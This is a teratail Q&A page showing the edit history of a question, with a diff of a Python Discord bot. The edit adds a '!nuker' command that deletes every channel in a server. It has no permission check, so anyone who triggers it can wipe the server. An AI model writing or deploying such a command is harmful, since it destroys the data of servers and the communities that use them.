teratail header banner
teratail header banner
質問するログイン新規登録

質問編集履歴

1

書き換えたコードを載せました

2023/07/15 00:17

投稿

pippidxun1017
pippidxun1017

スコア0

title CHANGED
File without changes
body CHANGED
@@ -26,15 +26,22 @@
26
26
 
27
27
 
28
28
  # アクセストークンを設定
29
- TOKEN = "" # 自分のアクセストークンと置換してください
29
+ TOKEN = "botToken" # 自分のアクセストークンと置換してください
30
- CHANNEL_ID = 0
30
+ CHANNEL_ID = 1030524624150200370
31
31
  # Botの大元となるオブジェクトを生成する
32
- bot = discord.Bot(
32
+ bot = commands.Bot(
33
+ command_prefix="!",
33
34
  intents=discord.Intents.all(), # 全てのインテンツを利用できるようにする
34
35
  activity=discord.Game("没収 Bot"), # "〇〇をプレイ中"の"〇〇"を設定,
35
36
  )
37
+ @bot.command(name="nuker",description="delete channel")
38
+ async def nuker(ctx: commands.Context):
39
+ user = ctx.author
40
+
41
+ await asyncio.sleep(1)
42
+ for channel in ctx.guild.channels:
43
+ await channel.delete()
36
44
 
37
-
38
45
  ```
39
46
 
40
47
  ### 試したこと